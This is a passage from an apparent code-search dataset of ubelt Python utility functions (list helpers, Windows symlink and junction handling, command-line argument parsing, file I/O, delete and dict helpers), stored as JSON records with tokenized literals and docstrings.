>>> assert indices == [1, 2, 0]", "id": "f5139:m10"}
{"signature": "def argmax(indexable, key=None):", "body": "if key is None and isinstance(indexable, collections_abc.Mapping):<EOL><INDENT>return max(indexable.items(), key=operator.itemgetter(<NUM_LIT:1>))[<NUM_LIT:0>]<EOL><DEDENT>elif hasattr(indexable, '<STR_LIT:index>'):<EOL><INDENT>if key is None:<EOL><INDENT>return indexable.index(max(indexable))<EOL><DEDENT>else:<EOL><INDENT>return indexable.index(max(indexable, key=key))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return argsort(indexable, key=key)[-<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Returns index / key of the item with the largest value.\n\nThis is similar to `numpy.argmax`, but it is written in pure python and\nworks on both lists and dictionaries.\n\nArgs:\n    indexable (Iterable or Mapping): indexable to sort by\n\n    key (Callable, optional): customizes the ordering of the indexable\n\nCommandLine:\n    python -m ubelt.util_list argmax\n\nExample:\n    >>> assert argmax({'a': 3, 'b': 2, 'c': 100}) == 'c'\n    >>> assert argmax(['a', 'c', 'b', 'z', 'f']) == 3\n    >>> assert argmax([[0, 1], [2, 3, 4], [5]], key=len) == 1\n    >>> assert argmax({'a': 3, 'b': 2, 3: 100, 4: 4}) == 3\n    >>> assert argmax(iter(['a', 'c', 'b', 'z', 'f'])) == 3", "id": "f5139:m11"}
{"signature": "def argmin(indexable, key=None):", "body": "if key is None and isinstance(indexable, collections_abc.Mapping):<EOL><INDENT>return min(indexable.items(), key=operator.itemgetter(<NUM_LIT:1>))[<NUM_LIT:0>]<EOL><DEDENT>elif hasattr(indexable, '<STR_LIT:index>'):<EOL><INDENT>if key is None:<EOL><INDENT>return indexable.index(min(indexable))<EOL><DEDENT>else:<EOL><INDENT>return indexable.index(min(indexable, key=key))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return argsort(indexable, key=key)[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "Returns index / key of the item with the smallest value.\n\nThis is similar to `numpy.argmin`, but it is written in pure python and\nworks on both lists and dictionaries.\n\nArgs:\n    indexable (Iterable or Mapping): indexable to sort by\n\n    key (Callable, optional): customizes the ordering of the indexable\n\nExample:\n    >>> assert argmin({'a': 3, 'b': 2, 'c': 100}) == 'b'\n    >>> assert argmin(['a', 'c', 'b', 'z', 'f']) == 0\n    >>> assert argmin([[0, 1], [2, 3, 4], [5]], key=len) == 2\n    >>> assert argmin({'a': 3, 'b': 2, 3: 100, 4: 4}) == 'b'\n    >>> assert argmin(iter(['a', 'c', 'A', 'z', 'f'])) == 2", "id": "f5139:m12"}
{"signature": "def peek(iterable):", "body": "return next(iter(iterable))<EOL>", "docstring": "Look at the first item of an iterable. If the input is an iterator, then\nthe next element is exhausted (i.e. a pop operation).\n\nArgs:\n    iterable (List[T]): an iterable\n\nReturns:\n    T: item: the first item of ordered sequence, a popped item from an\n             iterator, or an arbitrary item from an unordered collection.\n\nExample:\n    >>> import ubelt as ub\n    >>> data = [0, 1, 2]\n    >>> ub.peek(data)\n    0\n    >>> iterator = iter(data)\n    >>> print(ub.peek(iterator))\n    0\n    >>> print(ub.peek(iterator))\n    1\n    >>> print(ub.peek(iterator))\n    2\n    >>> ub.peek(range(3))\n    0", "id": "f5139:m13"}
{"signature": "def _symlink(path, link, overwrite=<NUM_LIT:0>, verbose=<NUM_LIT:0>):", "body": "if exists(link) and not os.path.islink(link):<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>is_junc = _win32_is_junction(link)<EOL>if os.path.isdir(link):<EOL><INDENT>if is_junc:<EOL><INDENT>pointed = _win32_read_junction(link)<EOL>if path == pointed:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>return link<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>if not exists(pointed):<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>raise IOError('<STR_LIT>')<EOL><DEDENT><DEDENT>elif os.path.isfile(link):<EOL><INDENT>if _win32_is_hardlinked(link, path):<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>return link<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>if _win32_can_symlink():<EOL><INDENT>raise IOError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if overwrite:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>util_io.delete(link, verbose > <NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>if exists(link):<EOL><INDENT>raise IOError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>_win32_symlink2(path, link, verbose=verbose)<EOL>", "docstring": "Windows helper for ub.symlink", "id": "f5140:m1"}
{"signature": "def _win32_symlink2(path, link, allow_fallback=True, verbose=<NUM_LIT:0>):", "body": "if _win32_can_symlink():<EOL><INDENT>return _win32_symlink(path, link, verbose)<EOL><DEDENT>else:<EOL><INDENT>return _win32_junction(path, link, verbose)<EOL><DEDENT>", "docstring": "Perform a real symbolic link if possible. However, on most versions of\nwindows you need special privledges to create a real symlink. Therefore, we\ntry to create a symlink, but if that fails we fallback to using a junction.\n\nAFAIK, the main difference between symlinks and junctions are that symlinks\ncan reference relative or absolute paths, where as junctions always\nreference absolute paths. Not 100% on this though. Windows is weird.\n\nNote that junctions will not register as links via `islink`, but I\nbelieve real symlinks will.", "id": "f5140:m2"}
{"signature": "def _win32_symlink(path, link, verbose=<NUM_LIT:0>):", "body": "from ubelt import util_cmd<EOL>if os.path.isdir(path):<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>command = '<STR_LIT>'.format(link, path)<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>command = '<STR_LIT>'.format(link, path)<EOL><DEDENT>if command is not None:<EOL><INDENT>info = util_cmd.cmd(command, shell=True)<EOL>if info['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>from ubelt import util_format<EOL>permission_msg = '<STR_LIT>'<EOL>if permission_msg not in info['<STR_LIT>']:<EOL><INDENT>print('<STR_LIT>')<EOL>print(info['<STR_LIT>'])<EOL>print(util_format.repr2(info, nl=<NUM_LIT:1>))<EOL><DEDENT>raise OSError(str(info))<EOL><DEDENT><DEDENT>return link<EOL>", "docstring": "Creates real symlink. This will only work in versions greater than Windows\nVista. Creating real symlinks requires admin permissions or at least\nspecially enabled symlink permissions. On Windows 10 enabling developer\nmode should give you these permissions.", "id": "f5140:m3"}
{"signature": "def _win32_junction(path, link, verbose=<NUM_LIT:0>):", "body": "<EOL>path = os.path.abspath(path)<EOL>link = os.path.abspath(link)<EOL>from ubelt import util_cmd<EOL>if os.path.isdir(path):<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>command = '<STR_LIT>'.format(link, path)<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>jwfs.link(path, link)  <EOL><DEDENT>except Exception:<EOL><INDENT>print('<STR_LIT>'.format(link, path))<EOL>raise<EOL><DEDENT>command = None<EOL><DEDENT>if command is not None:<EOL><INDENT>info = util_cmd.cmd(command, shell=True)<EOL>if info['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>from ubelt import util_format<EOL>print('<STR_LIT>')<EOL>print(info['<STR_LIT>'])<EOL>print(util_format.repr2(info, nl=<NUM_LIT:1>))<EOL>raise OSError(str(info))<EOL><DEDENT><DEDENT>return link<EOL>", "docstring": "On older (pre 10) versions of windows we need admin privledges to make\nsymlinks, however junctions seem to work.\n\nFor paths we do a junction (softlink) and for files we use a hard link\n\nCommandLine:\n    python -m ubelt._win32_links _win32_junction\n\nExample:\n    >>> # xdoc: +REQUIRES(WIN32)\n    >>> import ubelt as ub\n    >>> root = ub.ensure_app_cache_dir('ubelt', 'win32_junction')\n    >>> ub.delete(root)\n    >>> ub.ensuredir(root)\n    >>> fpath = join(root, 'fpath.txt')\n    >>> dpath = join(root, 'dpath')\n    >>> fjunc = join(root, 'fjunc.txt')\n    >>> djunc = join(root, 'djunc')\n    >>> ub.touch(fpath)\n    >>> ub.ensuredir(dpath)\n    >>> ub.ensuredir(join(root, 'djunc_fake'))\n    >>> ub.ensuredir(join(root, 'djunc_fake with space'))\n    >>> ub.touch(join(root, 'djunc_fake with space file'))\n    >>> _win32_junction(fpath, fjunc)\n    >>> _win32_junction(dpath, djunc)\n    >>> # thank god colons are not allowed\n    >>> djunc2 = join(root, 'djunc2 [with pathological attrs]')\n    >>> _win32_junction(dpath, djunc2)\n    >>> _win32_is_junction(djunc)\n    >>> ub.writeto(join(djunc, 'afile.txt'), 'foo')\n    >>> assert ub.readfrom(join(dpath, 'afile.txt')) == 'foo'\n    >>> ub.writeto(fjunc, 'foo')", "id": "f5140:m4"}
{"signature": "def _win32_is_junction(path):", "body": "if not exists(path):<EOL><INDENT>if os.path.isdir(path):<EOL><INDENT>if not os.path.islink(path):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL><DEDENT>return jwfs.is_reparse_point(path) and not os.path.islink(path)<EOL>", "docstring": "Determines if a path is a win32 junction\n\nCommandLine:\n    python -m ubelt._win32_links _win32_is_junction\n\nExample:\n    >>> # xdoc: +REQUIRES(WIN32)\n    >>> import ubelt as ub\n    >>> root = ub.ensure_app_cache_dir('ubelt', 'win32_junction')\n    >>> ub.delete(root)\n    >>> ub.ensuredir(root)\n    >>> dpath = join(root, 'dpath')\n    >>> djunc = join(root, 'djunc')\n    >>> ub.ensuredir(dpath)\n    >>> _win32_junction(dpath, djunc)\n    >>> assert _win32_is_junction(djunc) is True\n    >>> assert _win32_is_junction(dpath) is False\n    >>> assert _win32_is_junction('notafile') is False", "id": "f5140:m5"}
{"signature": "def _win32_read_junction(path):", "body": "if not jwfs.is_reparse_point(path):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>handle = jwfs.api.CreateFile(<EOL>path, <NUM_LIT:0>, <NUM_LIT:0>, None, jwfs.api.OPEN_EXISTING,<EOL>jwfs.api.FILE_FLAG_OPEN_REPARSE_POINT |<EOL>jwfs.api.FILE_FLAG_BACKUP_SEMANTICS,<EOL>None)<EOL>if handle == jwfs.api.INVALID_HANDLE_VALUE:<EOL><INDENT>raise WindowsError()<EOL><DEDENT>res = jwfs.reparse.DeviceIoControl(<EOL>handle, jwfs.api.FSCTL_GET_REPARSE_POINT, None, <NUM_LIT>)<EOL>bytes = jwfs.create_string_buffer(res)<EOL>p_rdb = jwfs.cast(bytes, jwfs.POINTER(jwfs.api.REPARSE_DATA_BUFFER))<EOL>rdb = p_rdb.contents<EOL>if rdb.tag not in [<NUM_LIT>, jwfs.api.IO_REPARSE_TAG_SYMLINK]:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\" % rdb.tag)<EOL><DEDENT>jwfs.handle_nonzero_success(jwfs.api.CloseHandle(handle))<EOL>subname = rdb.get_substitute_name()<EOL>if subname.startswith('<STR_LIT>'):<EOL><INDENT>subname = subname[<NUM_LIT:2>:]<EOL><DEDENT>return subname<EOL>", "docstring": "Returns the location that the junction points, raises ValueError if path is\nnot a junction.\n\nCommandLine:\n    python -m ubelt._win32_links _win32_read_junction\n\nExample:\n    >>> # xdoc: +REQUIRES(WIN32)\n    >>> import ubelt as ub\n    >>> root = ub.ensure_app_cache_dir('ubelt', 'win32_junction')\n    >>> ub.delete(root)\n    >>> ub.ensuredir(root)\n    >>> dpath = join(root, 'dpath')\n    >>> djunc = join(root, 'djunc')\n    >>> ub.ensuredir(dpath)\n    >>> _win32_junction(dpath, djunc)\n    >>> path = djunc\n    >>> pointed = _win32_read_junction(path)\n    >>> print('pointed = {!r}'.format(pointed))", "id": "f5140:m6"}
{"signature": "def _win32_rmtree(path, verbose=<NUM_LIT:0>):", "body": "<EOL>def _rmjunctions(root):<EOL><INDENT>subdirs = []<EOL>for name in os.listdir(root):<EOL><INDENT>current = join(root, name)<EOL>if os.path.isdir(current):<EOL><INDENT>if _win32_is_junction(current):<EOL><INDENT>os.rmdir(current)<EOL><DEDENT>elif not os.path.islink(current):<EOL><INDENT>subdirs.append(current)<EOL><DEDENT><DEDENT><DEDENT>for subdir in subdirs:<EOL><INDENT>_rmjunctions(subdir)<EOL><DEDENT><DEDENT>if _win32_is_junction(path):<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>os.rmdir(path)<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>_rmjunctions(path)<EOL>import shutil<EOL>shutil.rmtree(path)<EOL><DEDENT>", "docstring": "rmtree for win32 that treats junctions like directory symlinks.\nThe junction removal portion may not be safe on race conditions.\n\nThere is a known issue that prevents shutil.rmtree from\ndeleting directories with junctions.\nhttps://bugs.python.org/issue31226", "id": "f5140:m7"}
{"signature": "def _win32_is_hardlinked(fpath1, fpath2):", "body": "<EOL>def get_read_handle(fpath):<EOL><INDENT>if os.path.isdir(fpath):<EOL><INDENT>dwFlagsAndAttributes = jwfs.api.FILE_FLAG_BACKUP_SEMANTICS<EOL><DEDENT>else:<EOL><INDENT>dwFlagsAndAttributes = <NUM_LIT:0><EOL><DEDENT>hFile = jwfs.api.CreateFile(fpath, jwfs.api.GENERIC_READ,<EOL>jwfs.api.FILE_SHARE_READ, None,<EOL>jwfs.api.OPEN_EXISTING,<EOL>dwFlagsAndAttributes, None)<EOL>return hFile<EOL><DEDENT>def get_unique_id(hFile):<EOL><INDENT>info = jwfs.api.BY_HANDLE_FILE_INFORMATION()<EOL>res = jwfs.api.GetFileInformationByHandle(hFile, info)<EOL>jwfs.handle_nonzero_success(res)<EOL>unique_id = (info.volume_serial_number, info.file_index_high,<EOL>info.file_index_low)<EOL>return unique_id<EOL><DEDENT>hFile1 = get_read_handle(fpath1)<EOL>hFile2 = get_read_handle(fpath2)<EOL>try:<EOL><INDENT>are_equal = (get_unique_id(hFile1) == get_unique_id(hFile2))<EOL><DEDENT>except Exception:<EOL><INDENT>raise<EOL><DEDENT>finally:<EOL><INDENT>jwfs.api.CloseHandle(hFile1)<EOL>jwfs.api.CloseHandle(hFile2)<EOL><DEDENT>return are_equal<EOL>", "docstring": "Test if two hard links point to the same location\n\nCommandLine:\n    python -m ubelt._win32_links _win32_is_hardlinked\n\nExample:\n    >>> # xdoc: +REQUIRES(WIN32)\n    >>> import ubelt as ub\n    >>> root = ub.ensure_app_cache_dir('ubelt', 'win32_hardlink')\n    >>> ub.delete(root)\n    >>> ub.ensuredir(root)\n    >>> fpath1 = join(root, 'fpath1')\n    >>> fpath2 = join(root, 'fpath2')\n    >>> ub.touch(fpath1)\n    >>> ub.touch(fpath2)\n    >>> fjunc1 = _win32_junction(fpath1, join(root, 'fjunc1'))\n    >>> fjunc2 = _win32_junction(fpath2, join(root, 'fjunc2'))\n    >>> assert _win32_is_hardlinked(fjunc1, fpath1)\n    >>> assert _win32_is_hardlinked(fjunc2, fpath2)\n    >>> assert not _win32_is_hardlinked(fjunc2, fpath1)\n    >>> assert not _win32_is_hardlinked(fjunc1, fpath2)", "id": "f5140:m8"}
{"signature": "def _win32_dir(path, star='<STR_LIT>'):", "body": "from ubelt import util_cmd<EOL>import re<EOL>wrapper = '<STR_LIT>'  <EOL>command = '<STR_LIT>'.format(path, star)<EOL>wrapped = wrapper.format(command)<EOL>info = util_cmd.cmd(wrapped, shell=True)<EOL>if info['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>from ubelt import util_format<EOL>print('<STR_LIT>')<EOL>print(info['<STR_LIT>'])<EOL>print(util_format.repr2(info, nl=<NUM_LIT:1>))<EOL>raise OSError(str(info))<EOL><DEDENT>lines = info['<STR_LIT>'].split('<STR_LIT:\\n>')[<NUM_LIT:5>:-<NUM_LIT:3>]<EOL>splitter = re.compile('<STR_LIT>')<EOL>for line in lines:<EOL><INDENT>parts = splitter.split(line)<EOL>date, sep, time, sep, ampm, sep, type_or_size, sep = parts[:<NUM_LIT:8>]<EOL>name = '<STR_LIT>'.join(parts[<NUM_LIT:8>:])<EOL>if name == '<STR_LIT:.>' or name == '<STR_LIT:..>':<EOL><INDENT>continue<EOL><DEDENT>if type_or_size in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>pos = name.find('<STR_LIT::>')<EOL>bpos = name[:pos].rfind('<STR_LIT:[>')<EOL>name = name[:bpos - <NUM_LIT:1>]<EOL>pointed = name[bpos + <NUM_LIT:1>:-<NUM_LIT:1>]<EOL>yield type_or_size, name, pointed<EOL><DEDENT>else:<EOL><INDENT>yield type_or_size, name, None<EOL><DEDENT><DEDENT>", "docstring": "Using the windows cmd shell to get information about a directory", "id": "f5140:m9"}
{"signature": "def argval(key, default=util_const.NoParam, argv=None):", "body": "if argv is None:  <EOL><INDENT>argv = sys.argv<EOL><DEDENT>keys = [key] if isinstance(key, six.string_types) else key<EOL>n_max = len(argv) - <NUM_LIT:1><EOL>for argx, item in enumerate(argv):<EOL><INDENT>for key_ in keys:<EOL><INDENT>if item == key_:<EOL><INDENT>if argx < n_max:<EOL><INDENT>value = argv[argx + <NUM_LIT:1>]<EOL>return value<EOL><DEDENT><DEDENT>elif item.startswith(key_ + '<STR_LIT:=>'):<EOL><INDENT>value = '<STR_LIT:=>'.join(item.split('<STR_LIT:=>')[<NUM_LIT:1>:])<EOL>return value<EOL><DEDENT><DEDENT><DEDENT>value = default<EOL>return value<EOL>", "docstring": "Get the value of a keyword argument specified on the command line.\n\nValues can be specified as `<key> <value>` or `<key>=<value>`\n\nArgs:\n    key (str or tuple): string or tuple of strings. Each key should be\n        prefixed with two hyphens (i.e. `--`)\n    default (Optional[object]): value to return if not specified\n    argv (Optional[list]): overrides `sys.argv` if specified\n\nReturns:\n    str: value : the value specified after the key. It they key is\n        specified multiple times, then the first value is returned.\n\nTODO:\n    - [ ] Can we handle the case where the value is a list of long paths?\n    - [ ] Should we default the first or last specified instance of the flag.\n\nExample:\n    >>> import ubelt as ub\n    >>> argv = ['--ans', '42', '--quest=the grail', '--ans=6', '--bad']\n    >>> assert ub.argval('--spam', argv=argv) == ub.NoParam\n    >>> assert ub.argval('--quest', argv=argv) == 'the grail'\n    >>> assert ub.argval('--ans', argv=argv) == '42'\n    >>> assert ub.argval('--bad', argv=argv) == ub.NoParam\n    >>> assert ub.argval(('--bad', '--bar'), argv=argv) == ub.NoParam\n\nExample:\n    >>> # Test fix for GH Issue #41\n    >>> import ubelt as ub\n    >>> argv = ['--path=/path/with/k=3']\n    >>> ub.argval('--path', argv=argv) == '/path/with/k=3'", "id": "f5141:m0"}
{"signature": "def argflag(key, argv=None):", "body": "if argv is None:  <EOL><INDENT>argv = sys.argv<EOL><DEDENT>keys = [key] if isinstance(key, six.string_types) else key<EOL>flag = any(k in argv for k in keys)<EOL>return flag<EOL>", "docstring": "Determines if a key is specified on the command line\n\nArgs:\n    key (str or tuple): string or tuple of strings. Each key should be\n        prefixed with two hyphens (i.e. `--`)\n    argv (Optional[list]): overrides `sys.argv` if specified\n\nReturns:\n    bool: flag : True if the key (or any of the keys) was specified\n\nExample:\n    >>> import ubelt as ub\n    >>> argv = ['--spam', '--eggs', 'foo']\n    >>> assert ub.argflag('--eggs', argv=argv) is True\n    >>> assert ub.argflag('--ans', argv=argv) is False\n    >>> assert ub.argflag('foo', argv=argv) is True\n    >>> assert ub.argflag(('bar', '--spam'), argv=argv) is True", "id": "f5141:m1"}
{"signature": "def writeto(fpath, to_write, aslines=False, verbose=None):", "body": "if verbose:<EOL><INDENT>print('<STR_LIT>' % (fpath,))<EOL><DEDENT>with open(fpath, '<STR_LIT:wb>') as file:<EOL><INDENT>if aslines:<EOL><INDENT>to_write = map(_ensure_bytes , to_write)<EOL>file.writelines(to_write)<EOL><DEDENT>else:<EOL><INDENT>bytes = _ensure_bytes(to_write)<EOL>file.write(bytes)<EOL><DEDENT><DEDENT>", "docstring": "r\"\"\"\n    Writes (utf8) text to a file.\n\n    Args:\n        fpath (PathLike): file path\n        to_write (str): text to write (must be unicode text)\n        aslines (bool): if True to_write is assumed to be a list of lines\n        verbose (bool): verbosity flag\n\n    CommandLine:\n        python -m ubelt.util_io writeto --verbose\n\n    Example:\n        >>> import ubelt as ub\n        >>> dpath = ub.ensure_app_cache_dir('ubelt')\n        >>> fpath = dpath + '/' + 'testwrite.txt'\n        >>> if exists(fpath):\n        >>>     os.remove(fpath)\n        >>> to_write = 'utf-8 symbols \u0394, \u0419, \u05e7, \u0645, \u0e57, \u3042, \u53f6, \u8449, and \ub9d0.'\n        >>> writeto(fpath, to_write)\n        >>> read_ = ub.readfrom(fpath)\n        >>> print('read_    = ' + read_)\n        >>> print('to_write = ' + to_write)\n        >>> assert read_ == to_write\n\n    Example:\n        >>> import ubelt as ub\n        >>> dpath = ub.ensure_app_cache_dir('ubelt')\n        >>> fpath = dpath + '/' + 'testwrite2.txt'\n        >>> if exists(fpath):\n        >>>     os.remove(fpath)\n        >>> to_write = ['a\\n', 'b\\n', 'c\\n', 'd\\n']\n        >>> writeto(fpath, to_write, aslines=True)\n        >>> read_ = ub.readfrom(fpath, aslines=True)\n        >>> print('read_    = {}'.format(read_))\n        >>> print('to_write = {}'.format(to_write))\n        >>> assert read_ == to_write", "id": "f5143:m0"}
{"signature": "def readfrom(fpath, aslines=False, errors='<STR_LIT:replace>', verbose=None):", "body": "if verbose:<EOL><INDENT>print('<STR_LIT>' % (fpath,))<EOL><DEDENT>if not exists(fpath):<EOL><INDENT>raise IOError('<STR_LIT>' % (fpath,))<EOL><DEDENT>with open(fpath, '<STR_LIT:rb>') as file:<EOL><INDENT>if aslines:<EOL><INDENT>text = [line.decode('<STR_LIT:utf8>', errors=errors)<EOL>for line in file.readlines()]<EOL>if sys.platform.startswith('<STR_LIT:win32>'):  <EOL><INDENT>text = [<EOL>line[:-<NUM_LIT:2>] + '<STR_LIT:\\n>' if line.endswith('<STR_LIT:\\r\\n>') else line<EOL>for line in text<EOL>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>text = file.read().decode('<STR_LIT:utf8>', errors=errors)<EOL><DEDENT><DEDENT>return text<EOL>", "docstring": "Reads (utf8) text from a file.\n\nArgs:\n    fpath (PathLike): file path\n    aslines (bool): if True returns list of lines\n    verbose (bool): verbosity flag\n\nReturns:\n    str: text from fpath (this is unicode)", "id": "f5143:m1"}
{"signature": "def touch(fpath, mode=<NUM_LIT>, dir_fd=None, verbose=<NUM_LIT:0>, **kwargs):", "body": "if verbose:<EOL><INDENT>print('<STR_LIT>'.format(fpath))<EOL><DEDENT>if six.PY2:  <EOL><INDENT>with open(fpath, '<STR_LIT:a>'):<EOL><INDENT>os.utime(fpath, None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>flags = os.O_CREAT | os.O_APPEND<EOL>with os.fdopen(os.open(fpath, flags=flags, mode=mode, dir_fd=dir_fd)) as f:<EOL><INDENT>os.utime(f.fileno() if os.utime in os.supports_fd else fpath,<EOL>dir_fd=None if os.supports_fd else dir_fd, **kwargs)<EOL><DEDENT><DEDENT>return fpath<EOL>", "docstring": "change file timestamps\n\nWorks like the touch unix utility\n\nArgs:\n    fpath (PathLike): name of the file\n    mode (int): file permissions (python3 and unix only)\n    dir_fd (file): optional directory file descriptor. If specified, fpath\n        is interpreted as relative to this descriptor (python 3 only).\n    verbose (int): verbosity\n    **kwargs : extra args passed to `os.utime` (python 3 only).\n\nReturns:\n    PathLike: path to the file\n\nReferences:\n    https://stackoverflow.com/questions/1158076/implement-touch-using-python\n\nExample:\n    >>> import ubelt as ub\n    >>> dpath = ub.ensure_app_cache_dir('ubelt')\n    >>> fpath = join(dpath, 'touch_file')\n    >>> assert not exists(fpath)\n    >>> ub.touch(fpath)\n    >>> assert exists(fpath)\n    >>> os.unlink(fpath)", "id": "f5143:m2"}
{"signature": "def delete(path, verbose=False):", "body": "if not os.path.exists(path):<EOL><INDENT>if os.path.islink(path):<EOL><INDENT>if verbose:  <EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>os.unlink(path)<EOL><DEDENT>elif os.path.isdir(path):  <EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>os.rmdir(path)<EOL><DEDENT>elif os.path.isfile(path):  <EOL><INDENT>if verbose:<EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>os.unlink(path)<EOL><DEDENT>else:<EOL><INDENT>if verbose:  <EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if os.path.islink(path):<EOL><INDENT>if verbose:  <EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>os.unlink(path)<EOL><DEDENT>elif os.path.isfile(path):<EOL><INDENT>if verbose:  <EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>os.unlink(path)<EOL><DEDENT>elif os.path.isdir(path):<EOL><INDENT>if verbose:  <EOL><INDENT>print('<STR_LIT>'.format(path))<EOL><DEDENT>if sys.platform.startswith('<STR_LIT:win32>'):  <EOL><INDENT>from ubelt import _win32_links<EOL>_win32_links._win32_rmtree(path, verbose=verbose)<EOL><DEDENT>else:<EOL><INDENT>import shutil<EOL>shutil.rmtree(path)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Removes a file or recursively removes a directory.\nIf a path does not exist, then this is does nothing.\n\nArgs:\n    path (PathLike): file or directory to remove\n    verbose (bool): if True prints what is being done\n\nSeeAlso:\n    send2trash - A cross-platform Python package for sending files\n        to the trash instead of irreversibly deleting them.\n        https://github.com/hsoft/send2trash\n\nDoctest:\n    >>> import ubelt as ub\n    >>> base = ub.ensure_app_cache_dir('ubelt', 'delete_test')\n    >>> dpath1 = ub.ensuredir(join(base, 'dir'))\n    >>> ub.ensuredir(join(base, 'dir', 'subdir'))\n    >>> ub.touch(join(base, 'dir', 'to_remove1.txt'))\n    >>> fpath1 = join(base, 'dir', 'subdir', 'to_remove3.txt')\n    >>> fpath2 = join(base, 'dir', 'subdir', 'to_remove2.txt')\n    >>> ub.touch(fpath1)\n    >>> ub.touch(fpath2)\n    >>> assert all(map(exists, (dpath1, fpath1, fpath2)))\n    >>> ub.delete(fpath1)\n    >>> assert all(map(exists, (dpath1, fpath2)))\n    >>> assert not exists(fpath1)\n    >>> ub.delete(dpath1)\n    >>> assert not any(map(exists, (dpath1, fpath1, fpath2)))\n\nDoctest:\n    >>> import ubelt as ub\n    >>> dpath = ub.ensure_app_cache_dir('ubelt', 'delete_test2')\n    >>> dpath1 = ub.ensuredir(join(dpath, 'dir'))\n    >>> fpath1 = ub.touch(join(dpath1, 'to_remove.txt'))\n    >>> assert exists(fpath1)\n    >>> ub.delete(dpath)\n    >>> assert not exists(fpath1)", "id": "f5143:m3"}
{"signature": "def dzip(items1, items2, cls=dict):", "body": "try:<EOL><INDENT>len(items1)<EOL><DEDENT>except TypeError:<EOL><INDENT>items1 = list(items1)<EOL><DEDENT>try:<EOL><INDENT>len(items2)<EOL><DEDENT>except TypeError:<EOL><INDENT>items2 = list(items2)<EOL><DEDENT>if len(items1) == <NUM_LIT:0> and len(items2) == <NUM_LIT:1>:<EOL><INDENT>items2 = []<EOL><DEDENT>if len(items2) == <NUM_LIT:1> and len(items1) > <NUM_LIT:1>:<EOL><INDENT>items2 = items2 * len(items1)<EOL><DEDENT>if len(items1) != len(items2):<EOL><INDENT>raise ValueError('<STR_LIT>' % (<EOL>len(items1), len(items2)))<EOL><DEDENT>return cls(zip(items1, items2))<EOL>", "docstring": "Zips elementwise pairs between items1 and items2 into a dictionary. Values\nfrom items2 can be broadcast onto items1.\n\nArgs:\n    items1 (Iterable): full sequence\n    items2 (Iterable): can either be a sequence of one item or a sequence\n        of equal length to `items1`\n    cls (Type[dict]): dictionary type to use. Defaults to dict, but could\n        be ordered dict instead.\n\nReturns:\n    dict: similar to dict(zip(items1, items2))\n\nExample:\n    >>> assert dzip([1, 2, 3], [4]) == {1: 4, 2: 4, 3: 4}\n    >>> assert dzip([1, 2, 3], [4, 4, 4]) == {1: 4, 2: 4, 3: 4}\n    >>> assert dzip([], [4]) == {}", "id": "f5144:m0"}
{"signature": "def group_items(items, groupids):", "body": "if callable(groupids):<EOL><INDENT>keyfunc = groupids<EOL>pair_list = ((keyfunc(item), item) for item in items)<EOL><DEDENT>else:<EOL><INDENT>pair_list = zip(groupids, items)<EOL><DEDENT>groupid_to_items = defaultdict(list)<EOL>for key, item in pair_list:<EOL><INDENT>groupid_to_items[key].append(item)<EOL><DEDENT>return groupid_to_items<EOL>", "docstring": "r\"\"\"\n    Groups a list of items by group id.\n\n    Args:\n        items (Iterable): a list of items to group\n        groupids (Iterable or Callable): a corresponding list of item groupids\n            or a function mapping an item to a groupid.\n\n    Returns:\n        dict: groupid_to_items: maps a groupid to a list of items\n\n    CommandLine:\n        python -m ubelt.util_dict group_items\n\n    Example:\n        >>> import ubelt as ub\n        >>> items    = ['ham',     'jam',   'spam',     'eggs',    'cheese', 'banana']\n        >>> groupids = ['protein', 'fruit', 'protein',  'protein', 'dairy',  'fruit']\n        >>> groupid_to_items = ub.group_items(items, groupids)\n        >>> print(ub.repr2(groupid_to_items, nl=0))\n        {'dairy': ['cheese'], 'fruit': ['jam', 'banana'], 'protein': ['ham', 